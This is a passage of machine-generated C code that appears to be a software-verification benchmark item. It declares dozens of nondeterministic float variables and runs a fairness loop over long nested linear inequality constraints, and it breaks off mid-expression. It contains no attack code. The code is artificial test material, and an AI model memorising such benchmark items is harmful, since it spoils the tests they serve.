float x_12, _x_x_12;
float x_4, _x_x_4;
float x_0, _x_x_0;
float x_5, _x_x_5;
float x_2, _x_x_2;
float x_1, _x_x_1;
float x_6, _x_x_6;
float x_7, _x_x_7;
float x_8, _x_x_8;
float x_13, _x_x_13;
float x_9, _x_x_9;
float x_29, _x_x_29;
float x_10, _x_x_10;
float x_17, _x_x_17;
float x_11, _x_x_11;
float x_18, _x_x_18;
float x_38, _x_x_38;
float x_15, _x_x_15;
float x_22, _x_x_22;
float x_19, _x_x_19;
float x_23, _x_x_23;
float x_24, _x_x_24;
float x_20, _x_x_20;
float x_35, _x_x_35;
float x_34, _x_x_34;
float x_21, _x_x_21;
float x_28, _x_x_28;
float x_26, _x_x_26;
float x_27, _x_x_27;
float x_16, _x_x_16;
float x_30, _x_x_30;
float x_31, _x_x_31;
float x_39, _x_x_39;
float x_37, _x_x_37;
int __steps_to_fair = __VERIFIER_nondet_int();
_EL_U_4706 = __VERIFIER_nondet_bool();
x_25 = __VERIFIER_nondet_float();
x_14 = __VERIFIER_nondet_float();
x_36 = __VERIFIER_nondet_float();
x_33 = __VERIFIER_nondet_float();
x_32 = __VERIFIER_nondet_float();
x_3 = __VERIFIER_nondet_float();
x_12 = __VERIFIER_nondet_float();
x_4 = __VERIFIER_nondet_float();
x_0 = __VERIFIER_nondet_float();
x_5 = __VERIFIER_nondet_float();
x_2 = __VERIFIER_nondet_float();
x_1 = __VERIFIER_nondet_float();
x_6 = __VERIFIER_nondet_float();
x_7 = __VERIFIER_nondet_float();
x_8 = __VERIFIER_nondet_float();
x_13 = __VERIFIER_nondet_float();
x_9 = __VERIFIER_nondet_float();
x_29 = __VERIFIER_nondet_float();
x_10 = __VERIFIER_nondet_float();
x_17 = __VERIFIER_nondet_float();
x_11 = __VERIFIER_nondet_float();
x_18 = __VERIFIER_nondet_float();
x_38 = __VERIFIER_nondet_float();
x_15 = __VERIFIER_nondet_float();
x_22 = __VERIFIER_nondet_float();
x_19 = __VERIFIER_nondet_float();
x_23 = __VERIFIER_nondet_float();
x_24 = __VERIFIER_nondet_float();
x_20 = __VERIFIER_nondet_float();
x_35 = __VERIFIER_nondet_float();
x_34 = __VERIFIER_nondet_float();
x_21 = __VERIFIER_nondet_float();
x_28 = __VERIFIER_nondet_float();
x_26 = __VERIFIER_nondet_float();
x_27 = __VERIFIER_nondet_float();
x_16 = __VERIFIER_nondet_float();
x_30 = __VERIFIER_nondet_float();
x_31 = __VERIFIER_nondet_float();
x_39 = __VERIFIER_nondet_float();
x_37 = __VERIFIER_nondet_float();
bool __ok = (1 && ( !(((x_12 + (-1.0 * x_32)) <= 18.0) || ((( !((x_33 + (-1.0 * x_36)) <= -5.0)) || ( !(x_14 <= x_25))) && _EL_U_4706))));
while (__steps_to_fair >= 0 && __ok) {
if ((((x_12 + (-1.0 * x_32)) <= 18.0) || ( !(((x_12 + (-1.0 * x_32)) <= 18.0) || ((( !((x_33 + (-1.0 * x_36)) <= -5.0)) || ( !(x_14 <= x_25))) && _EL_U_4706))))) {
__steps_to_fair = __VERIFIER_nondet_int();
} else {
__steps_to_fair--;
}
_x__EL_U_4706 = __VERIFIER_nondet_bool();
_x_x_25 = __VERIFIER_nondet_float();
_x_x_14 = __VERIFIER_nondet_float();
_x_x_36 = __VERIFIER_nondet_float();
_x_x_33 = __VERIFIER_nondet_float();
_x_x_32 = __VERIFIER_nondet_float();
_x_x_3 = __VERIFIER_nondet_float();
_x_x_12 = __VERIFIER_nondet_float();
_x_x_4 = __VERIFIER_nondet_float();
_x_x_0 = __VERIFIER_nondet_float();
_x_x_5 = __VERIFIER_nondet_float();
_x_x_2 = __VERIFIER_nondet_float();
_x_x_1 = __VERIFIER_nondet_float();
_x_x_6 = __VERIFIER_nondet_float();
_x_x_7 = __VERIFIER_nondet_float();
_x_x_8 = __VERIFIER_nondet_float();
_x_x_13 = __VERIFIER_nondet_float();
_x_x_9 = __VERIFIER_nondet_float();
_x_x_29 = __VERIFIER_nondet_float();
_x_x_10 = __VERIFIER_nondet_float();
_x_x_17 = __VERIFIER_nondet_float();
_x_x_11 = __VERIFIER_nondet_float();
_x_x_18 = __VERIFIER_nondet_float();
_x_x_38 = __VERIFIER_nondet_float();
_x_x_15 = __VERIFIER_nondet_float();
_x_x_22 = __VERIFIER_nondet_float();
_x_x_19 = __VERIFIER_nondet_float();
_x_x_23 = __VERIFIER_nondet_float();
_x_x_24 = __VERIFIER_nondet_float();
_x_x_20 = __VERIFIER_nondet_float();
_x_x_35 = __VERIFIER_nondet_float();
_x_x_34 = __VERIFIER_nondet_float();
_x_x_21 = __VERIFIER_nondet_float();
_x_x_28 = __VERIFIER_nondet_float();
_x_x_26 = __VERIFIER_nondet_float();
_x_x_27 = __VERIFIER_nondet_float();
_x_x_16 = __VERIFIER_nondet_float();
_x_x_30 = __VERIFIER_nondet_float();
_x_x_31 = __VERIFIER_nondet_float();
_x_x_39 = __VERIFIER_nondet_float();
_x_x_37 = __VERIFIER_nondet_float();
__ok = ((((((((((((((((((((((((((((((((((((((((((((x_38 + (-1.0 * _x_x_0)) <= -18.0) && (((x_37 + (-1.0 * _x_x_0)) <= -10.0) && (((x_36 + (-1.0 * _x_x_0)) <= -7.0) && (((x_32 + (-1.0 * _x_x_0)) <= -18.0) && (((x_29 + (-1.0 * _x_x_0)) <= -6.0) && (((x_28 + (-1.0 * _x_x_0)) <= -19.0) && (((x_25 + (-1.0 * _x_x_0)) <= -13.0) && (((x_24 + (-1.0 * _x_x_0)) <= -3.0) && (((x_21 + (-1.0 * _x_x_0)) <= -8.0) && (((x_19 + (-1.0 * _x_x_0)) <= -19.0) && (((x_18 + (-1.0 * _x_x_0)) <= -16.0) && (((x_17 + (-1.0 * _x_x_0)) <= -7.0) && (((x_13 + (-1.0 * _x_x_0)) <= -1.0) && (((x_11 + (-1.0 * _x_x_0)) <= -15.0) && (((x_9 + (-1.0 * _x_x_0)) <= -1.0) && (((x_8 + (-1.0 * _x_x_0)) <= -5.0) && (((x_5 + (-1.0 * _x_x_0)) <= -16.0) && (((x_3 + (-1.0 * _x_x_0)) <= -2.0) && (((x_0 + (-1.0 * _x_x_0)) <= -3.0) && ((x_1 + (-1.0 * _x_x_0)) <= -18.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_0)) == -18.0) || (((x_37 + (-1.0 * _x_x_0)) == -10.0) || (((x_36 + (-1.0 * _x_x_0)) == -7.0) || (((x_32 + (-1.0 * _x_x_0)) == -18.0) || (((x_29 + (-1.0 * _x_x_0)) == -6.0) || (((x_28 + (-1.0 * _x_x_0)) == -19.0) || (((x_25 + (-1.0 * _x_x_0)) == -13.0) || (((x_24 + (-1.0 * _x_x_0)) == -3.0) || (((x_21 + (-1.0 * _x_x_0)) == -8.0) || (((x_19 + (-1.0 * _x_x_0)) == -19.0) || (((x_18 + (-1.0 * _x_x_0)) == -16.0) || (((x_17 + (-1.0 * _x_x_0)) == -7.0) || (((x_13 + (-1.0 * _x_x_0)) == -1.0) || (((x_11 + (-1.0 * _x_x_0)) == -15.0) || (((x_9 + (-1.0 * _x_x_0)) == -1.0) || (((x_8 + (-1.0 * _x_x_0)) == -5.0) || (((x_5 + (-1.0 * _x_x_0)) == -16.0) || (((x_3 + (-1.0 * _x_x_0)) == -2.0) || (((x_0 + (-1.0 * _x_x_0)) == -3.0) || ((x_1 + (-1.0 * _x_x_0)) == -18.0))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_1)) <= -18.0) && (((x_38 + (-1.0 * _x_x_1)) <= -20.0) && (((x_36 + (-1.0 * _x_x_1)) <= -18.0) && (((x_35 + (-1.0 * _x_x_1)) <= -5.0) && (((x_34 + (-1.0 * _x_x_1)) <= -15.0) && (((x_33 + (-1.0 * _x_x_1)) <= -1.0) && (((x_32 + (-1.0 * _x_x_1)) <= -11.0) && (((x_31 + (-1.0 * _x_x_1)) <= -19.0) && (((x_30 + (-1.0 * _x_x_1)) <= -13.0) && (((x_28 + (-1.0 * _x_x_1)) <= -18.0) && (((x_27 + (-1.0 * _x_x_1)) <= -15.0) && (((x_24 + (-1.0 * _x_x_1)) <= -7.0) && (((x_22 + (-1.0 * _x_x_1)) <= -3.0) && (((x_20 + (-1.0 * _x_x_1)) <= -6.0) && (((x_14 + (-1.0 * _x_x_1)) <= -11.0) && (((x_10 + (-1.0 * _x_x_1)) <= -15.0) && (((x_9 + (-1.0 * _x_x_1)) <= -8.0) && (((x_5 + (-1.0 * _x_x_1)) <= -15.0) && (((x_1 + (-1.0 * _x_x_1)) <= -19.0) && ((x_3 + (-1.0 * _x_x_1)) <= -7.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_1)) == -18.0) || (((x_38 + (-1.0 * _x_x_1)) == -20.0) || (((x_36 + (-1.0 * _x_x_1)) == -18.0) || (((x_35 + (-1.0 * _x_x_1)) == -5.0) || (((x_34 + (-1.0 * _x_x_1)) == -15.0) || (((x_33 + (-1.0 * _x_x_1)) == -1.0) || (((x_32 + (-1.0 * _x_x_1)) == -11.0) || (((x_31 + (-1.0 * _x_x_1)) == -19.0) || (((x_30 + (-1.0 * _x_x_1)) == -13.0) || (((x_28 + (-1.0 * _x_x_1)) == -18.0) || (((x_27 + (-1.0 * _x_x_1)) == -15.0) || (((x_24 + (-1.0 * _x_x_1)) == -7.0) || (((x_22 + (-1.0 * _x_x_1)) == -3.0) || (((x_20 + (-1.0 * _x_x_1)) == -6.0) || (((x_14 + (-1.0 * _x_x_1)) == -11.0) || (((x_10 + (-1.0 * _x_x_1)) == -15.0) || (((x_9 + (-1.0 * _x_x_1)) == -8.0) || (((x_5 + (-1.0 * _x_x_1)) == -15.0) || (((x_1 + (-1.0 * _x_x_1)) == -19.0) || ((x_3 + (-1.0 * _x_x_1)) == -7.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_2)) <= -5.0) && (((x_37 + (-1.0 * _x_x_2)) <= -15.0) && (((x_36 + (-1.0 * _x_x_2)) <= -3.0) && (((x_29 + (-1.0 * _x_x_2)) <= -2.0) && (((x_28 + (-1.0 * _x_x_2)) <= -13.0) && (((x_26 + (-1.0 * _x_x_2)) <= -5.0) && (((x_23 + (-1.0 * _x_x_2)) <= -15.0) && (((x_17 + (-1.0 * _x_x_2)) <= -1.0) && (((x_15 + (-1.0 * _x_x_2)) <= -12.0) && (((x_14 + (-1.0 * _x_x_2)) <= -1.0) && (((x_13 + (-1.0 * _x_x_2)) <= -4.0) && (((x_12 + (-1.0 * _x_x_2)) <= -4.0) && (((x_10 + (-1.0 * _x_x_2)) <= -19.0) && (((x_9 + (-1.0 * _x_x_2)) <= -9.0) && (((x_6 + (-1.0 * _x_x_2)) <= -3.0) && (((x_5 + (-1.0 * _x_x_2)) <= -19.0) && (((x_4 + (-1.0 * _x_x_2)) <= -8.0) && (((x_3 + (-1.0 * _x_x_2)) <= -3.0) && (((x_1 + (-1.0 * _x_x_2)) <= -13.0) && ((x_2 + (-1.0 * _x_x_2)) <= -9.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_2)) == -5.0) || (((x_37 + (-1.0 * _x_x_2)) == -15.0) || (((x_36 + (-1.0 * _x_x_2)) == -3.0) || (((x_29 + (-1.0 * _x_x_2)) == -2.0) || (((x_28 + (-1.0 * _x_x_2)) == -13.0) || (((x_26 + (-1.0 * _x_x_2)) == -5.0) || (((x_23 + (-1.0 * _x_x_2)) == -15.0) || (((x_17 + (-1.0 * _x_x_2)) == -1.0) || (((x_15 + (-1.0 * _x_x_2)) == -12.0) || (((x_14 + (-1.0 * _x_x_2)) == -1.0) || (((x_13 + (-1.0 * _x_x_2)) == -4.0) || (((x_12 + (-1.0 * _x_x_2)) == -4.0) || (((x_10 + (-1.0 * _x_x_2)) == -19.0) || (((x_9 + (-1.0 * _x_x_2)) == -9.0) || (((x_6 + (-1.0 * _x_x_2)) == -3.0) || (((x_5 + (-1.0 * _x_x_2)) == -19.0) || (((x_4 + (-1.0 * _x_x_2)) == -8.0) || (((x_3 + (-1.0 * _x_x_2)) == -3.0) || (((x_1 + (-1.0 * _x_x_2)) == -13.0) || ((x_2 + (-1.0 * _x_x_2)) == -9.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_3)) <= -6.0) && (((x_37 + (-1.0 * _x_x_3)) <= -15.0) && (((x_36 + (-1.0 * _x_x_3)) <= -2.0) && (((x_35 + (-1.0 * _x_x_3)) <= -3.0) && (((x_34 + (-1.0 * _x_x_3)) <= -2.0) && (((x_30 + (-1.0 * _x_x_3)) <= -9.0) && (((x_29 + (-1.0 * _x_x_3)) <= -11.0) && (((x_27 + (-1.0 * _x_x_3)) <= -6.0) && (((x_26 + (-1.0 * _x_x_3)) <= -4.0) && (((x_25 + (-1.0 * _x_x_3)) <= -1.0) && (((x_23 + (-1.0 * _x_x_3)) <= -9.0) && (((x_17 + (-1.0 * _x_x_3)) <= -10.0) && (((x_13 + (-1.0 * _x_x_3)) <= -3.0) && (((x_8 + (-1.0 * _x_x_3)) <= -12.0) && (((x_7 + (-1.0 * _x_x_3)) <= -6.0) && (((x_5 + (-1.0 * _x_x_3)) <= -5.0) && (((x_4 + (-1.0 * _x_x_3)) <= -12.0) && (((x_3 + (-1.0 * _x_x_3)) <= -2.0) && (((x_0 + (-1.0 * _x_x_3)) <= -13.0) && ((x_1 + (-1.0 * _x_x_3)) <= -12.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_3)) == -6.0) || (((x_37 + (-1.0 * _x_x_3)) == -15.0) || (((x_36 + (-1.0 * _x_x_3)) == -2.0) || (((x_35 + (-1.0 * _x_x_3)) == -3.0) || (((x_34 + (-1.0 * _x_x_3)) == -2.0) || (((x_30 + (-1.0 * _x_x_3)) == -9.0) || (((x_29 + (-1.0 * _x_x_3)) == -11.0) || (((x_27 + (-1.0 * _x_x_3)) == -6.0) || (((x_26 + (-1.0 * _x_x_3)) == -4.0) || (((x_25 + (-1.0 * _x_x_3)) == -1.0) || (((x_23 + (-1.0 * _x_x_3)) == -9.0) || (((x_17 + (-1.0 * _x_x_3)) == -10.0) || (((x_13 + (-1.0 * _x_x_3)) == -3.0) || (((x_8 + (-1.0 * _x_x_3)) == -12.0) || (((x_7 + (-1.0 * _x_x_3)) == -6.0) || (((x_5 + (-1.0 * _x_x_3)) == -5.0) || (((x_4 + (-1.0 * _x_x_3)) == -12.0) || (((x_3 + (-1.0 * _x_x_3)) == -2.0) || (((x_0 + (-1.0 * _x_x_3)) == -13.0) || ((x_1 + (-1.0 * _x_x_3)) == -12.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_4)) <= -19.0) && (((x_38 + (-1.0 * _x_x_4)) <= -12.0) && (((x_37 + (-1.0 * _x_x_4)) <= -17.0) && (((x_36 + (-1.0 * _x_x_4)) <= -9.0) && (((x_32 + (-1.0 * _x_x_4)) <= -17.0) && (((x_31 + (-1.0 * _x_x_4)) <= -20.0) && (((x_30 + (-1.0 * _x_x_4)) <= -16.0) && (((x_29 + (-1.0 * _x_x_4)) <= -10.0) && (((x_27 + (-1.0 * _x_x_4)) <= -17.0) && (((x_24 + (-1.0 * _x_x_4)) <= -16.0) && (((x_21 + (-1.0 * _x_x_4)) <= -1.0) && (((x_17 + (-1.0 * _x_x_4)) <= -15.0) && (((x_14 + (-1.0 * _x_x_4)) <= -8.0) && (((x_13 + (-1.0 * _x_x_4)) <= -13.0) && (((x_11 + (-1.0 * _x_x_4)) <= -14.0) && (((x_8 + (-1.0 * _x_x_4)) <= -14.0) && (((x_7 + (-1.0 * _x_x_4)) <= -15.0) && (((x_5 + (-1.0 * _x_x_4)) <= -1.0) && (((x_1 + (-1.0 * _x_x_4)) <= -9.0) && ((x_4 + (-1.0 * _x_x_4)) <= -2.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_4)) == -19.0) || (((x_38 + (-1.0 * _x_x_4)) == -12.0) || (((x_37 + (-1.0 * _x_x_4)) == -17.0) || (((x_36 + (-1.0 * _x_x_4)) == -9.0) || (((x_32 + (-1.0 * _x_x_4)) == -17.0) || (((x_31 + (-1.0 * _x_x_4)) == -20.0) || (((x_30 + (-1.0 * _x_x_4)) == -16.0) || (((x_29 + (-1.0 * _x_x_4)) == -10.0) || (((x_27 + (-1.0 * _x_x_4)) == -17.0) || (((x_24 + (-1.0 * _x_x_4)) == -16.0) || (((x_21 + (-1.0 * _x_x_4)) == -1.0) || (((x_17 + (-1.0 * _x_x_4)) == -15.0) || (((x_14 + (-1.0 * _x_x_4)) == -8.0) || (((x_13 + (-1.0 * _x_x_4)) == -13.0) || (((x_11 + (-1.0 * _x_x_4)) == -14.0) || (((x_8 + (-1.0 * _x_x_4)) == -14.0) || (((x_7 + (-1.0 * _x_x_4)) == -15.0) || (((x_5 + (-1.0 * _x_x_4)) == -1.0) || (((x_1 + (-1.0 * _x_x_4)) == -9.0) || ((x_4 + (-1.0 * _x_x_4)) == -2.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_5)) <= -9.0) && (((x_35 + (-1.0 * _x_x_5)) <= -18.0) && (((x_33 + (-1.0 * _x_x_5)) <= -4.0) && (((x_31 + (-1.0 * _x_x_5)) <= -10.0) && (((x_30 + (-1.0 * _x_x_5)) <= -4.0) && (((x_29 + (-1.0 * _x_x_5)) <= -18.0) && (((x_25 + (-1.0 * _x_x_5)) <= -3.0) && (((x_22 + (-1.0 * _x_x_5)) <= -9.0) && (((x_21 + (-1.0 * _x_x_5)) <= -4.0) && (((x_20 + (-1.0 * _x_x_5)) <= -15.0) && (((x_18 + (-1.0 * _x_x_5)) <= -20.0) && (((x_17 + (-1.0 * _x_x_5)) <= -19.0) && (((x_11 + (-1.0 * _x_x_5)) <= -9.0) && (((x_10 + (-1.0 * _x_x_5)) <= -2.0) && (((x_9 + (-1.0 * _x_x_5)) <= -1.0) && (((x_7 + (-1.0 * _x_x_5)) <= -17.0) && (((x_6 + (-1.0 * _x_x_5)) <= -3.0) && (((x_5 + (-1.0 * _x_x_5)) <= -5.0) && (((x_3 + (-1.0 * _x_x_5)) <= -9.0) && ((x_4 + (-1.0 * _x_x_5)) <= -18.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_5)) == -9.0) || (((x_35 + (-1.0 * _x_x_5)) == -18.0) || (((x_33 + (-1.0 * _x_x_5)) == -4.0) || (((x_31 + (-1.0 * _x_x_5)) == -10.0) || (((x_30 + (-1.0 * _x_x_5)) == -4.0) || (((x_29 + (-1.0 * _x_x_5)) == -18.0) || (((x_25 + (-1.0 * _x_x_5)) == -3.0) || (((x_22 + (-1.0 * _x_x_5)) == -9.0) || (((x_21 + (-1.0 * _x_x_5)) == -4.0) || (((x_20 + (-1.0 * _x_x_5)) == -15.0) || (((x_18 + (-1.0 * _x_x_5)) == -20.0) || (((x_17 + (-1.0 * _x_x_5)) == -19.0) || (((x_11 + (-1.0 * _x_x_5)) == -9.0) || (((x_10 + (-1.0 * _x_x_5)) == -2.0) || (((x_9 + (-1.0 * _x_x_5)) == -1.0) || (((x_7 + (-1.0 * _x_x_5)) == -17.0) || (((x_6 + (-1.0 * _x_x_5)) == -3.0) || (((x_5 + (-1.0 * _x_x_5)) == -5.0) || (((x_3 + (-1.0 * _x_x_5)) == -9.0) || ((x_4 + (-1.0 * _x_x_5)) == -18.0)))))))))))))))))))))) && ((((x_37 + (-1.0 * _x_x_6)) <= -15.0) && (((x_32 + (-1.0 * _x_x_6)) <= -8.0) && (((x_31 + (-1.0 * _x_x_6)) <= -7.0) && (((x_30 + (-1.0 * _x_x_6)) <= -20.0) && (((x_28 + (-1.0 * _x_x_6)) <= -3.0) && (((x_27 + (-1.0 * _x_x_6)) <= -6.0) && (((x_26 + (-1.0 * _x_x_6)) <= -17.0) && (((x_25 + (-1.0 * _x_x_6)) <= -18.0) && (((x_24 + (-1.0 * _x_x_6)) <= -10.0) && (((x_22 + (-1.0 * _x_x_6)) <= -5.0) && (((x_18 + (-1.0 * _x_x_6)) <= -7.0) && (((x_15 + (-1.0 * _x_x_6)) <= -19.0) && (((x_14 + (-1.0 * _x_x_6)) <= -19.0) && (((x_9 + (-1.0 * _x_x_6)) <= -20.0) && (((x_8 + (-1.0 * _x_x_6)) <= -10.0) && (((x_7 + (-1.0 * _x_x_6)) <= -4.0) && (((x_6 + (-1.0 * _x_x_6)) <= -4.0) && (((x_4 + (-1.0 * _x_x_6)) <= -15.0) && (((x_2 + (-1.0 * _x_x_6)) <= -4.0) && ((x_3 + (-1.0 * _x_x_6)) <= -6.0)))))))))))))))))))) && (((x_37 + (-1.0 * _x_x_6)) == -15.0) || (((x_32 + (-1.0 * _x_x_6)) == -8.0) || (((x_31 + (-1.0 * _x_x_6)) == -7.0) || (((x_30 + (-1.0 * _x_x_6)) == -20.0) || (((x_28 + (-1.0 * _x_x_6)) == -3.0) || (((x_27 + (-1.0 * _x_x_6)) == -6.0) || (((x_26 + (-1.0 * _x_x_6)) == -17.0) || (((x_25 + (-1.0 * _x_x_6)) == -18.0) || (((x_24 + (-1.0 * _x_x_6)) == -10.0) || (((x_22 + (-1.0 * _x_x_6)) == -5.0) || (((x_18 + (-1.0 * _x_x_6)) == -7.0) || (((x_15 + (-1.0 * _x_x_6)) == -19.0) || (((x_14 + (-1.0 * _x_x_6)) == -19.0) || (((x_9 + (-1.0 * _x_x_6)) == -20.0) || (((x_8 + (-1.0 * _x_x_6)) == -10.0) || (((x_7 + (-1.0 * _x_x_6)) == -4.0) || (((x_6 + (-1.0 * _x_x_6)) == -4.0) || (((x_4 + (-1.0 * _x_x_6)) == -15.0) || (((x_2 + (-1.0 * _x_x_6)) == -4.0) || ((x_3 + (-1.0 * _x_x_6)) == -6.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_7)) <= -9.0) && (((x_38 + (-1.0 * _x_x_7)) <= -17.0) && (((x_37 + (-1.0 * _x_x_7)) <= -18.0) && (((x_36 + (-1.0 * _x_x_7)) <= -4.0) && (((x_34 + (-1.0 * _x_x_7)) <= -8.0) && (((x_33 + (-1.0 * _x_x_7)) <= -1.0) && (((x_32 + (-1.0 * _x_x_7)) <= -7.0) && (((x_31 + (-1.0 * _x_x_7)) <= -3.0) && (((x_29 + (-1.0 * _x_x_7)) <= -3.0) && (((x_28 + (-1.0 * _x_x_7)) <= -7.0) && (((x_26 + (-1.0 * _x_x_7)) <= -10.0) && (((x_24 + (-1.0 * _x_x_7)) <= -8.0) && (((x_20 + (-1.0 * _x_x_7)) <= -5.0) && (((x_17 + (-1.0 * _x_x_7)) <= -18.0) && (((x_16 + (-1.0 * _x_x_7)) <= -8.0) && (((x_14 + (-1.0 * _x_x_7)) <= -4.0) && (((x_9 + (-1.0 * _x_x_7)) <= -17.0) && (((x_8 + (-1.0 * _x_x_7)) <= -7.0) && (((x_1 + (-1.0 * _x_x_7)) <= -5.0) && ((x_7 + (-1.0 * _x_x_7)) <= -15.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_7)) == -9.0) || (((x_38 + (-1.0 * _x_x_7)) == -17.0) || (((x_37 + (-1.0 * _x_x_7)) == -18.0) || (((x_36 + (-1.0 * _x_x_7)) == -4.0) || (((x_34 + (-1.0 * _x_x_7)) == -8.0) || (((x_33 + (-1.0 * _x_x_7)) == -1.0) || (((x_32 + (-1.0 * _x_x_7)) == -7.0) || (((x_31 + (-1.0 * _x_x_7)) == -3.0) || (((x_29 + (-1.0 * _x_x_7)) == -3.0) || (((x_28 + (-1.0 * _x_x_7)) == -7.0) || (((x_26 + (-1.0 * _x_x_7)) == -10.0) || (((x_24 + (-1.0 * _x_x_7)) == -8.0) || (((x_20 + (-1.0 * _x_x_7)) == -5.0) || (((x_17 + (-1.0 * _x_x_7)) == -18.0) || (((x_16 + (-1.0 * _x_x_7)) == -8.0) || (((x_14 + (-1.0 * _x_x_7)) == -4.0) || (((x_9 + (-1.0 * _x_x_7)) == -17.0) || (((x_8 + (-1.0 * _x_x_7)) == -7.0) || (((x_1 + (-1.0 * _x_x_7)) == -5.0) || ((x_7 + (-1.0 * _x_x_7)) == -15.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_8)) <= -10.0) && (((x_36 + (-1.0 * _x_x_8)) <= -17.0) && (((x_35 + (-1.0 * _x_x_8)) <= -17.0) && (((x_33 + (-1.0 * _x_x_8)) <= -19.0) && (((x_32 + (-1.0 * _x_x_8)) <= -3.0) && (((x_31 + (-1.0 * _x_x_8)) <= -10.0) && (((x_29 + (-1.0 * _x_x_8)) <= -4.0) && (((x_27 + (-1.0 * _x_x_8)) <= -10.0) && (((x_26 + (-1.0 * _x_x_8)) <= -18.0) && (((x_23 + (-1.0 * _x_x_8)) <= -11.0) && (((x_20 + (-1.0 * _x_x_8)) <= -14.0) && (((x_15 + (-1.0 * _x_x_8)) <= -5.0) && (((x_13 + (-1.0 * _x_x_8)) <= -9.0) && (((x_10 + (-1.0 * _x_x_8)) <= -14.0) && (((x_9 + (-1.0 * _x_x_8)) <= -11.0) && (((x_6 + (-1.0 * _x_x_8)) <= -10.0) && (((x_3 + (-1.0 * _x_x_8)) <= -9.0) && (((x_2 + (-1.0 * _x_x_8)) <= -2.0) && (((x_0 + (-1.0 * _x_x_8)) <= -18.0) && ((x_1 + (-1.0 * _x_x_8)) <= -11.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_8)) == -10.0) || (((x_36 + (-1.0 * _x_x_8)) == -17.0) || (((x_35 + (-1.0 * _x_x_8)) == -17.0) || (((x_33 + (-1.0 * _x_x_8)) == -19.0) || (((x_32 + (-1.0 * _x_x_8)) == -3.0) || (((x_31 + (-1.0 * _x_x_8)) == -10.0) || (((x_29 + (-1.0 * _x_x_8)) == -4.0) || (((x_27 + (-1.0 * _x_x_8)) == -10.0) || (((x_26 + (-1.0 * _x_x_8)) == -18.0) || (((x_23 + (-1.0 * _x_x_8)) == -11.0) || (((x_20 + (-1.0 * _x_x_8)) == -14.0) || (((x_15 + (-1.0 * _x_x_8)) == -5.0) || (((x_13 + (-1.0 * _x_x_8)) == -9.0) || (((x_10 + (-1.0 * _x_x_8)) == -14.0) || (((x_9 + (-1.0 * _x_x_8)) == -11.0) || (((x_6 + (-1.0 * _x_x_8)) == -10.0) || (((x_3 + (-1.0 * _x_x_8)) == -9.0) || (((x_2 + (-1.0 * _x_x_8)) == -2.0) || (((x_0 + (-1.0 * _x_x_8)) == -18.0) || ((x_1 + (-1.0 * _x_x_8)) == -11.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_9)) <= -1.0) && (((x_35 + (-1.0 * _x_x_9)) <= -7.0) && (((x_34 + (-1.0 * _x_x_9)) <= -7.0) && (((x_28 + (-1.0 * _x_x_9)) <= -3.0) && (((x_27 + (-1.0 * _x_x_9)) <= -3.0) && (((x_25 + (-1.0 * _x_x_9)) <= -14.0) && (((x_24 + (-1.0 * _x_x_9)) <= -17.0) && (((x_23 + (-1.0 * _x_x_9)) <= -2.0) && (((x_22 + (-1.0 * _x_x_9)) <= -17.0) && (((x_21 + (-1.0 * _x_x_9)) <= -20.0) && (((x_19 + (-1.0 * _x_x_9)) <= -7.0) && (((x_18 + (-1.0 * _x_x_9)) <= -14.0) && (((x_14 + (-1.0 * _x_x_9)) <= -3.0) && (((x_13 + (-1.0 * _x_x_9)) <= -17.0) && (((x_10 + (-1.0 * _x_x_9)) <= -5.0) && (((x_8 + (-1.0 * _x_x_9)) <= -15.0) && (((x_7 + (-1.0 * _x_x_9)) <= -10.0) && (((x_5 + (-1.0 * _x_x_9)) <= -9.0) && (((x_2 + (-1.0 * _x_x_9)) <= -3.0) && ((x_4 + (-1.0 * _x_x_9)) <= -11.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_9)) == -1.0) || (((x_35 + (-1.0 * _x_x_9)) == -7.0) || (((x_34 + (-1.0 * _x_x_9)) == -7.0) || (((x_28 + (-1.0 * _x_x_9)) == -3.0) || (((x_27 + (-1.0 * _x_x_9)) == -3.0) || (((x_25 + (-1.0 * _x_x_9)) == -14.0) || (((x_24 + (-1.0 * _x_x_9)) == -17.0) || (((x_23 + (-1.0 * _x_x_9)) == -2.0) || (((x_22 + (-1.0 * _x_x_9)) == -17.0) || (((x_21 + (-1.0 * _x_x_9)) == -20.0) || (((x_19 + (-1.0 * _x_x_9)) == -7.0) || (((x_18 + (-1.0 * _x_x_9)) == -14.0) || (((x_14 + (-1.0 * _x_x_9)) == -3.0) || (((x_13 + (-1.0 * _x_x_9)) == -17.0) || (((x_10 + (-1.0 * _x_x_9)) == -5.0) || (((x_8 + (-1.0 * _x_x_9)) == -15.0) || (((x_7 + (-1.0 * _x_x_9)) == -10.0) || (((x_5 + (-1.0 * _x_x_9)) == -9.0) || (((x_2 + (-1.0 * _x_x_9)) == -3.0) || ((x_4 + (-1.0 * _x_x_9)) == -11.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_10)) <= -19.0) && (((x_38 + (-1.0 * _x_x_10)) <= -20.0) && (((x_36 + (-1.0 * _x_x_10)) <= -4.0) && (((x_33 + (-1.0 * _x_x_10)) <= -17.0) && (((x_30 + (-1.0 * _x_x_10)) <= -3.0) && (((x_27 + (-1.0 * _x_x_10)) <= -2.0) && (((x_24 + (-1.0 * _x_x_10)) <= -15.0) && (((x_23 + (-1.0 * _x_x_10)) <= -13.0) && (((x_19 + (-1.0 * _x_x_10)) <= -5.0) && (((x_18 + (-1.0 * _x_x_10)) <= -10.0) && (((x_17 + (-1.0 * _x_x_10)) <= -16.0) && (((x_16 + (-1.0 * _x_x_10)) <= -7.0) && (((x_14 + (-1.0 * _x_x_10)) <= -19.0) && (((x_11 + (-1.0 * _x_x_10)) <= -3.0) && (((x_10 + (-1.0 * 